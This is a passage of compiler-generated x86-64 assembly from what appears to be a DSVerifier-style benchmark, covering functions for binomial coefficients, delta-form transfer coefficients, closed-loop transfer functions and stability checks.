mov ecx, DWORD PTR -60[rbp]
movsx rcx, ecx
lea rsi, 0[0+rcx*8]
mov rcx, QWORD PTR -112[rbp]
lea rbx, [rsi+rcx]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov QWORD PTR [rbx], rax
add DWORD PTR -64[rbp], 1
.L747:
mov eax, DWORD PTR -64[rbp]
cmp eax, DWORD PTR -100[rbp]
jl .L750
jmp .L749
.L754:
nop
.L749:
add DWORD PTR -60[rbp], 1
.L746:
mov eax, DWORD PTR -60[rbp]
cmp eax, DWORD PTR -76[rbp]
jl .L751
mov rsp, r12
nop
mov rax, QWORD PTR -40[rbp]
sub rax, QWORD PTR fs:40
je .L752
call __stack_chk_fail@PLT
.L752:
lea rsp, -32[rbp]
pop rbx
pop r12
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE111:
.size fxp_direct_form_1_impl2, .-fxp_direct_form_1_impl2
.globl nchoosek
.type nchoosek, @function
nchoosek:
.LFB112:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
cmp DWORD PTR -8[rbp], 0
jne .L756
mov eax, 1
jmp .L757
.L756:
mov eax, DWORD PTR -8[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -4[rbp]
sub eax, 1
mov esi, edx
mov edi, eax
call nchoosek
imul eax, DWORD PTR -4[rbp]
cdq
idiv DWORD PTR -8[rbp]
.L757:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE112:
.size nchoosek, .-nchoosek
.globl generate_delta_coefficients
.type generate_delta_coefficients, @function
generate_delta_coefficients:
.LFB113:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 80
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
mov DWORD PTR -52[rbp], edx
movsd QWORD PTR -64[rbp], xmm0
mov eax, DWORD PTR -52[rbp]
sub eax, 1
mov DWORD PTR -12[rbp], eax
mov DWORD PTR -20[rbp], 0
jmp .L759
.L762:
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov DWORD PTR -16[rbp], 0
jmp .L760
.L761:
mov eax, DWORD PTR -16[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm2, QWORD PTR [rax]
movsd QWORD PTR -72[rbp], xmm2
mov eax, DWORD PTR -20[rbp]
sub eax, DWORD PTR -16[rbp]
mov edx, eax
mov eax, DWORD PTR -12[rbp]
sub eax, DWORD PTR -16[rbp]
mov esi, edx
mov edi, eax
call nchoosek
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, QWORD PTR -72[rbp]
movsd xmm1, QWORD PTR -8[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -16[rbp], 1
.L760:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -20[rbp]
jle .L761
mov eax, DWORD PTR -12[rbp]
sub eax, DWORD PTR -20[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov rax, QWORD PTR -64[rbp]
movapd xmm1, xmm0
movq xmm0, rax
call internal_pow
movq rax, xmm0
mov edx, DWORD PTR -20[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -48[rbp]
add rdx, rcx
movq xmm0, rax
mulsd xmm0, QWORD PTR -8[rbp]
movsd QWORD PTR [rdx], xmm0
add DWORD PTR -20[rbp], 1
.L759:
mov eax, DWORD PTR -20[rbp]
cmp eax, DWORD PTR -12[rbp]
jle .L762
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE113:
.size generate_delta_coefficients, .-generate_delta_coefficients
.globl get_delta_transfer_function
.type get_delta_transfer_function, @function
get_delta_transfer_function:
.LFB114:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov DWORD PTR -20[rbp], edx
mov QWORD PTR -32[rbp], rcx
mov QWORD PTR -40[rbp], r8
mov DWORD PTR -24[rbp], r9d
movsd QWORD PTR -48[rbp], xmm0
mov rsi, QWORD PTR -48[rbp]
mov edx, DWORD PTR -20[rbp]
mov rcx, QWORD PTR -16[rbp]
mov rax, QWORD PTR -8[rbp]
movq xmm0, rsi
mov rsi, rcx
mov rdi, rax
call generate_delta_coefficients
mov rsi, QWORD PTR -48[rbp]
mov edx, DWORD PTR -24[rbp]
mov rcx, QWORD PTR -40[rbp]
mov rax, QWORD PTR -32[rbp]
movq xmm0, rsi
mov rsi, rcx
mov rdi, rax
call generate_delta_coefficients
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE114:
.size get_delta_transfer_function, .-get_delta_transfer_function
.globl get_delta_transfer_function_with_base
.type get_delta_transfer_function_with_base, @function
get_delta_transfer_function_with_base:
.LFB115:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
mov DWORD PTR -52[rbp], edx
mov QWORD PTR -64[rbp], rcx
mov QWORD PTR -72[rbp], r8
mov DWORD PTR -56[rbp], r9d
movsd QWORD PTR -80[rbp], xmm0
mov eax, DWORD PTR -56[rbp]
sub eax, 1
mov DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -52[rbp]
sub eax, 1
mov DWORD PTR -12[rbp], eax
mov DWORD PTR -24[rbp], 0
jmp .L765
.L768:
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov DWORD PTR -20[rbp], 0
jmp .L766
.L767:
mov eax, DWORD PTR -20[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
movsd xmm2, QWORD PTR [rax]
movsd QWORD PTR -88[rbp], xmm2
mov eax, DWORD PTR -24[rbp]
sub eax, DWORD PTR -20[rbp]
mov edx, eax
mov eax, DWORD PTR -16[rbp]
sub eax, DWORD PTR -20[rbp]
mov esi, edx
mov edi, eax
call nchoosek
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, QWORD PTR -88[rbp]
movsd xmm1, QWORD PTR -8[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -20[rbp], 1
.L766:
mov eax, DWORD PTR -20[rbp]
cmp eax, DWORD PTR -24[rbp]
jle .L767
mov eax, DWORD PTR -16[rbp]
sub eax, DWORD PTR -24[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov rax, QWORD PTR -80[rbp]
movapd xmm1, xmm0
movq xmm0, rax
call internal_pow
movq rax, xmm0
mov edx, DWORD PTR -24[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -72[rbp]
add rdx, rcx
movq xmm0, rax
mulsd xmm0, QWORD PTR -8[rbp]
movsd QWORD PTR [rdx], xmm0
add DWORD PTR -24[rbp], 1
.L765:
mov eax, DWORD PTR -24[rbp]
cmp eax, DWORD PTR -16[rbp]
jle .L768
mov DWORD PTR -24[rbp], 0
jmp .L769
.L772:
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov DWORD PTR -20[rbp], 0
jmp .L770
.L771:
mov eax, DWORD PTR -20[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm3, QWORD PTR [rax]
movsd QWORD PTR -88[rbp], xmm3
mov eax, DWORD PTR -24[rbp]
sub eax, DWORD PTR -20[rbp]
mov edx, eax
mov eax, DWORD PTR -12[rbp]
sub eax, DWORD PTR -20[rbp]
mov esi, edx
mov edi, eax
call nchoosek
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, QWORD PTR -88[rbp]
movsd xmm1, QWORD PTR -8[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -20[rbp], 1
.L770:
mov eax, DWORD PTR -20[rbp]
cmp eax, DWORD PTR -24[rbp]
jle .L771
mov eax, DWORD PTR -12[rbp]
sub eax, DWORD PTR -24[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov rax, QWORD PTR -80[rbp]
movapd xmm1, xmm0
movq xmm0, rax
call internal_pow
movq rax, xmm0
mov edx, DWORD PTR -24[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -48[rbp]
add rdx, rcx
movq xmm0, rax
mulsd xmm0, QWORD PTR -8[rbp]
movsd QWORD PTR [rdx], xmm0
add DWORD PTR -24[rbp], 1
.L769:
mov eax, DWORD PTR -24[rbp]
cmp eax, DWORD PTR -12[rbp]
jle .L772
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE115:
.size get_delta_transfer_function_with_base, .-get_delta_transfer_function_with_base
.globl ft_closedloop_series
.type ft_closedloop_series, @function
ft_closedloop_series:
.LFB116:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r13
push r12
push rbx
sub rsp, 104
.cfi_offset 13, -24
.cfi_offset 12, -32
.cfi_offset 3, -40
mov QWORD PTR -72[rbp], rdi
mov DWORD PTR -76[rbp], esi
mov QWORD PTR -88[rbp], rdx
mov DWORD PTR -80[rbp], ecx
mov QWORD PTR -96[rbp], r8
mov DWORD PTR -100[rbp], r9d
mov rax, QWORD PTR 16[rbp]
mov QWORD PTR -112[rbp], rax
mov rax, QWORD PTR 32[rbp]
mov QWORD PTR -120[rbp], rax
mov rax, QWORD PTR 48[rbp]
mov QWORD PTR -128[rbp], rax
mov rax, QWORD PTR fs:40
mov QWORD PTR -40[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
mov edx, DWORD PTR -76[rbp]
mov eax, DWORD PTR -100[rbp]
add eax, edx
sub eax, 1
mov DWORD PTR 40[rbp], eax
mov edx, DWORD PTR -80[rbp]
mov eax, DWORD PTR 24[rbp]
add eax, edx
sub eax, 1
mov DWORD PTR 56[rbp], eax
mov eax, DWORD PTR 56[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -56[rbp], rdx
movsx rdx, eax
mov r12, rdx
mov r13d, 0
movsx rdx, eax
mov r10, rdx
mov r11d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L774:
cmp rsp, rdx
je .L775
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L774
.L775:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L776
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L776:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -48[rbp], rax
mov r8d, DWORD PTR 40[rbp]
mov rdi, QWORD PTR -120[rbp]
mov ecx, DWORD PTR -100[rbp]
mov rdx, QWORD PTR -96[rbp]
mov esi, DWORD PTR -76[rbp]
mov rax, QWORD PTR -72[rbp]
mov r9d, r8d
mov r8, rdi
mov rdi, rax
call poly_mult
mov r8d, DWORD PTR 56[rbp]
mov rdi, QWORD PTR -48[rbp]
mov ecx, DWORD PTR 24[rbp]
mov rdx, QWORD PTR -112[rbp]
mov esi, DWORD PTR -80[rbp]
mov rax, QWORD PTR -88[rbp]
mov r9d, r8d
mov r8, rdi
mov rdi, rax
call poly_mult
mov r8d, DWORD PTR 56[rbp]
mov rdi, QWORD PTR -128[rbp]
mov ecx, DWORD PTR 56[rbp]
mov rdx, QWORD PTR -48[rbp]
mov esi, DWORD PTR 40[rbp]
mov rax, QWORD PTR -120[rbp]
mov r9d, r8d
mov r8, rdi
mov rdi, rax
call poly_sum
mov rsp, rbx
nop
mov rax, QWORD PTR -40[rbp]
sub rax, QWORD PTR fs:40
je .L777
call __stack_chk_fail@PLT
.L777:
lea rsp, -24[rbp]
pop rbx
pop r12
pop r13
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE116:
.size ft_closedloop_series, .-ft_closedloop_series
.globl ft_closedloop_sensitivity
.type ft_closedloop_sensitivity, @function
ft_closedloop_sensitivity:
.LFB117:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r13
push r12
push rbx
sub rsp, 104
.cfi_offset 13, -24
.cfi_offset 12, -32
.cfi_offset 3, -40
mov QWORD PTR -72[rbp], rdi
mov DWORD PTR -76[rbp], esi
mov QWORD PTR -88[rbp], rdx
mov DWORD PTR -80[rbp], ecx
mov QWORD PTR -96[rbp], r8
mov DWORD PTR -100[rbp], r9d
mov rax, QWORD PTR 16[rbp]
mov QWORD PTR -112[rbp], rax
mov rax, QWORD PTR 32[rbp]
mov QWORD PTR -120[rbp], rax
mov rax, QWORD PTR 48[rbp]
mov QWORD PTR -128[rbp], rax
mov rax, QWORD PTR fs:40
mov QWORD PTR -40[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
mov edx, DWORD PTR -76[rbp]
mov eax, DWORD PTR -100[rbp]
add eax, edx
sub eax, 1
mov DWORD PTR -60[rbp], eax
mov edx, DWORD PTR -80[rbp]
mov eax, DWORD PTR 24[rbp]
add eax, edx
sub eax, 1
mov DWORD PTR 56[rbp], eax
mov edx, DWORD PTR -80[rbp]
mov eax, DWORD PTR 24[rbp]
add eax, edx
sub eax, 1
mov DWORD PTR 40[rbp], eax
mov eax, DWORD PTR -60[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -56[rbp], rdx
movsx rdx, eax
mov r12, rdx
mov r13d, 0
movsx rdx, eax
mov r10, rdx
mov r11d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L779:
cmp rsp, rdx
je .L780
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L779
.L780:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L781
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L781:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -48[rbp], rax
mov r8d, DWORD PTR 40[rbp]
mov rdi, QWORD PTR -120[rbp]
mov ecx, DWORD PTR 24[rbp]
mov rdx, QWORD PTR -112[rbp]
mov esi, DWORD PTR -80[rbp]
mov rax, QWORD PTR -88[rbp]
mov r9d, r8d
mov r8, rdi
mov rdi, rax
call poly_mult
mov r8d, DWORD PTR -60[rbp]
mov rdi, QWORD PTR -48[rbp]
mov ecx, DWORD PTR -100[rbp]
mov rdx, QWORD PTR -96[rbp]
mov esi, DWORD PTR -76[rbp]
mov rax, QWORD PTR -72[rbp]
mov r9d, r8d
mov r8, rdi
mov rdi, rax
call poly_mult
mov r8d, DWORD PTR 56[rbp]
mov rdi, QWORD PTR -128[rbp]
mov ecx, DWORD PTR -60[rbp]
mov rdx, QWORD PTR -48[rbp]
mov esi, DWORD PTR 40[rbp]
mov rax, QWORD PTR -120[rbp]
mov r9d, r8d
mov r8, rdi
mov rdi, rax
call poly_sum
mov rsp, rbx
nop
mov rax, QWORD PTR -40[rbp]
sub rax, QWORD PTR fs:40
je .L782
call __stack_chk_fail@PLT
.L782:
lea rsp, -24[rbp]
pop rbx
pop r12
pop r13
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE117:
.size ft_closedloop_sensitivity, .-ft_closedloop_sensitivity
.globl ft_closedloop_feedback
.type ft_closedloop_feedback, @function
ft_closedloop_feedback:
.LFB118:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 136
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov QWORD PTR -104[rbp], rdi
mov DWORD PTR -108[rbp], esi
mov QWORD PTR -120[rbp], rdx
mov DWORD PTR -112[rbp], ecx
mov QWORD PTR -128[rbp], r8
mov DWORD PTR -132[rbp], r9d
mov rax, QWORD PTR 16[rbp]
mov QWORD PTR -144[rbp], rax
mov rax, QWORD PTR 32[rbp]
mov QWORD PTR -152[rbp], rax
mov rax, QWORD PTR 48[rbp]
mov QWORD PTR -160[rbp], rax
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
mov edx, DWORD PTR -112[rbp]
mov eax, DWORD PTR -132[rbp]
add eax, edx
sub eax, 1
mov DWORD PTR 40[rbp], eax
mov edx, DWORD PTR -112[rbp]
mov eax, DWORD PTR 24[rbp]
add eax, edx
sub eax, 1
mov DWORD PTR 56[rbp], eax
mov edx, DWORD PTR -108[rbp]
mov eax, DWORD PTR -132[rbp]
add eax, edx
sub eax, 1
mov DWORD PTR -92[rbp], eax
mov eax, DWORD PTR 56[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -88[rbp], rdx
movsx rdx, eax
mov QWORD PTR -176[rbp], rdx
mov QWORD PTR -168[rbp], 0
movsx rdx, eax
mov r14, rdx
mov r15d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L784:
cmp rsp, rdx
je .L785
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L784
.L785:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L786
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L786:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -80[rbp], rax
mov eax, DWORD PTR -92[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov r12, rdx
mov r13d, 0
movsx rdx, eax
mov r10, rdx
mov r11d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L787:
cmp rsp, rdx
je .L788
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L787
.L788:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L789
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L789:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -64[rbp], rax
mov r8d, DWORD PTR -92[rbp]
mov rdi, QWORD PTR -64[rbp]
mov ecx, DWORD PTR -132[rbp]
mov rdx, QWORD PTR -128[rbp]
mov esi, DWORD PTR -108[rbp]
mov rax, QWORD PTR -104[rbp]
mov r9d, r8d
mov r8, rdi
mov rdi, rax
call poly_mult
mov r8d, DWORD PTR 56[rbp]
mov rdi, QWORD PTR -80[rbp]
mov ecx, DWORD PTR 24[rbp]
mov rdx, QWORD PTR -144[rbp]
mov esi, DWORD PTR -112[rbp]
mov rax, QWORD PTR -120[rbp]
mov r9d, r8d
mov r8, rdi
mov rdi, rax
call poly_mult
mov r8d, DWORD PTR 56[rbp]
mov rdi, QWORD PTR -160[rbp]
mov ecx, DWORD PTR 56[rbp]
mov rdx, QWORD PTR -80[rbp]
mov esi, DWORD PTR -92[rbp]
mov rax, QWORD PTR -64[rbp]
mov r9d, r8d
mov r8, rdi
mov rdi, rax
call poly_sum
mov r8d, DWORD PTR 40[rbp]
mov rdi, QWORD PTR -152[rbp]
mov ecx, DWORD PTR -132[rbp]
mov rdx, QWORD PTR -128[rbp]
mov esi, DWORD PTR -112[rbp]
mov rax, QWORD PTR -120[rbp]
mov r9d, r8d
mov r8, rdi
mov rdi, rax
call poly_mult
mov rsp, rbx
nop
mov rax, QWORD PTR -56[rbp]
sub rax, QWORD PTR fs:40
je .L790
call __stack_chk_fail@PLT
.L790:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE118:
.size ft_closedloop_feedback, .-ft_closedloop_feedback
.globl check_stability_closedloop
.type check_stability_closedloop, @function
check_stability_closedloop:
.LFB119:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 168
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov QWORD PTR -136[rbp], rdi
mov DWORD PTR -140[rbp], esi
mov QWORD PTR -152[rbp], rdx
mov DWORD PTR -144[rbp], ecx
mov QWORD PTR -160[rbp], r8
mov DWORD PTR -164[rbp], r9d
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov QWORD PTR -176[rbp], rax
mov eax, DWORD PTR -140[rbp]
mov DWORD PTR -116[rbp], eax
mov ecx, DWORD PTR -140[rbp]
mov eax, DWORD PTR -140[rbp]
add eax, eax
lea esi, -1[rax]
movsx rax, ecx
sub rax, 1
mov QWORD PTR -96[rbp], rax
movsx rax, ecx
mov QWORD PTR -208[rbp], rax
mov QWORD PTR -200[rbp], 0
movsx rax, ecx
lea rbx, 0[0+rax*8]
movsx rax, esi
sub rax, 1
mov QWORD PTR -88[rbp], rax
movsx rax, ecx
mov QWORD PTR -192[rbp], rax
mov QWORD PTR -184[rbp], 0
movsx rax, esi
mov r14, rax
mov r15d, 0
mov r8, QWORD PTR -192[rbp]
mov r9, QWORD PTR -184[rbp]
mov rdx, r9
imul rdx, r14
mov rax, r8
imul rax, r15
lea rdi, [rdx+rax]
mov rax, r8
mul r14
add rdi, rdx
mov rdx, rdi
movsx rax, ecx
mov r12, rax
mov r13d, 0
movsx rax, esi
mov r10, rax
mov r11d, 0
mov rdx, r13
imul rdx, r10
mov rax, r11
imul rax, r12
lea rdi, [rdx+rax]
mov rax, r12
mul r10
add rdi, rdx
mov rdx, rdi
movsx rdx, ecx
movsx rax, esi
imul rax, rdx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L792:
cmp rsp, rdx
je .L793
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L792
.L793:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L794
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L794:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -80[rbp], rax
mov DWORD PTR -108[rbp], 0
mov rax, QWORD PTR -152[rbp]
mov QWORD PTR -72[rbp], rax
mov rax, QWORD PTR -160[rbp]
mov QWORD PTR -64[rbp], rax
pxor xmm0, xmm0
movsd QWORD PTR -104[rbp], xmm0
mov DWORD PTR -120[rbp], 0
jmp .L795
.L796:
mov eax, DWORD PTR -120[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -136[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
movsd xmm1, QWORD PTR -104[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
add DWORD PTR -120[rbp], 1
.L795:
mov eax, DWORD PTR -120[rbp]
cmp eax, DWORD PTR -140[rbp]
jl .L796
movsd xmm0, QWORD PTR -104[rbp]
pxor xmm1, xmm1
comisd xmm0, xmm1
seta al
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
pxor xmm0, xmm0
movsd QWORD PTR -104[rbp], xmm0
mov DWORD PTR -120[rbp], 0
jmp .L797
.L798:
mov eax, DWORD PTR -120[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -136[rbp]
add rax, rdx
movsd xmm4, QWORD PTR [rax]
movsd QWORD PTR -192[rbp], xmm4
mov eax, DWORD PTR -140[rbp]
sub eax, 1
sub eax, DWORD PTR -120[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov rax, QWORD PTR .LC15[rip]
movapd xmm1, xmm0
movq xmm0, rax
call internal_pow
mulsd xmm0, QWORD PTR -192[rbp]
movsd xmm1, QWORD PTR -104[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
add DWORD PTR -120[rbp], 1
.L797:
mov eax, DWORD PTR -120[rbp]
cmp eax, DWORD PTR -140[rbp]
jl .L798
mov eax, DWORD PTR -140[rbp]
sub eax, 1
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov rax, QWORD PTR .LC15[rip]
movapd xmm1, xmm0
movq xmm0, rax
call internal_pow
movsd xmm1, QWORD PTR -104[rbp]
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
movsd xmm0, QWORD PTR -104[rbp]
pxor xmm1, xmm1
comisd xmm0, xmm1
seta al
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
mov eax, DWORD PTR -140[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -136[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
movq xmm0, rax
call internal_abs
mov rax, QWORD PTR -136[rbp]
movsd xmm1, QWORD PTR [rax]
comisd xmm1, xmm0
seta al
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
mov DWORD PTR -120[rbp], 0
jmp .L799
.L811:
mov DWORD PTR -124[rbp], 0
jmp .L800
.L810:
mov rcx, rbx
shr rcx, 3
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -124[rbp]
movsx rsi, edx
mov edx, DWORD PTR -120[rbp]
movsx rdx, edx
imul rdx, rcx
add rdx, rsi
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
cmp DWORD PTR -120[rbp], 0
jne .L801
mov eax, DWORD PTR -124[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -136[rbp]
add rax, rdx
mov rcx, rbx
shr rcx, 3
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -124[rbp]
movsx rsi, edx
mov edx, DWORD PTR -120[rbp]
movsx rdx, edx
imul rdx, rcx
add rdx, rsi
movsd QWORD PTR [rax+rdx*8], xmm0
jmp .L802
.L801:
mov eax, DWORD PTR -120[rbp]
and eax, 1
test eax, eax
je .L803
mov DWORD PTR -112[rbp], 0
jmp .L804
.L805:
mov rsi, rbx
shr rsi, 3
mov eax, DWORD PTR -120[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -116[rbp]
sub eax, DWORD PTR -112[rbp]
lea edi, -1[rax]
mov rcx, rbx
shr rcx, 3
mov rax, QWORD PTR -80[rbp]
movsx rdi, edi
movsx rdx, edx
imul rdx, rsi
add rdx, rdi
movsd xmm0, QWORD PTR [rax+rdx*8]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -112[rbp]
movsx rsi, edx
mov edx, DWORD PTR -120[rbp]
movsx rdx, edx
imul rdx, rcx
add rdx, rsi
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -112[rbp], 1
.L804:
mov eax, DWORD PTR -112[rbp]
cmp eax, DWORD PTR -116[rbp]
jl .L805
sub DWORD PTR -116[rbp], 1
mov eax, DWORD PTR -116[rbp]
mov DWORD PTR -124[rbp], eax
jmp .L802
.L803:
mov rcx, rbx
shr rcx, 3
mov eax, DWORD PTR -120[rbp]
lea edx, -2[rax]
mov rax, QWORD PTR -80[rbp]
movsx rdx, edx
imul rdx, rcx
movsd xmm0, QWORD PTR [rax+rdx*8]
pxor xmm1, xmm1
comisd xmm0, xmm1
seta al
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
mov rcx, rbx
shr rcx, 3
mov eax, DWORD PTR -120[rbp]
lea esi, -2[rax]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -124[rbp]
movsx rdi, edx
movsx rdx, esi
imul rdx, rcx
add rdx, rdi
movsd xmm0, QWORD PTR [rax+rdx*8]
mov rcx, rbx
shr rcx, 3
mov eax, DWORD PTR -120[rbp]
lea esi, -2[rax]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -116[rbp]
movsx rdi, edx
movsx rdx, esi
imul rdx, rcx
add rdx, rdi
movsd xmm1, QWORD PTR [rax+rdx*8]
mov rcx, rbx
shr rcx, 3
mov eax, DWORD PTR -120[rbp]
lea edx, -2[rax]
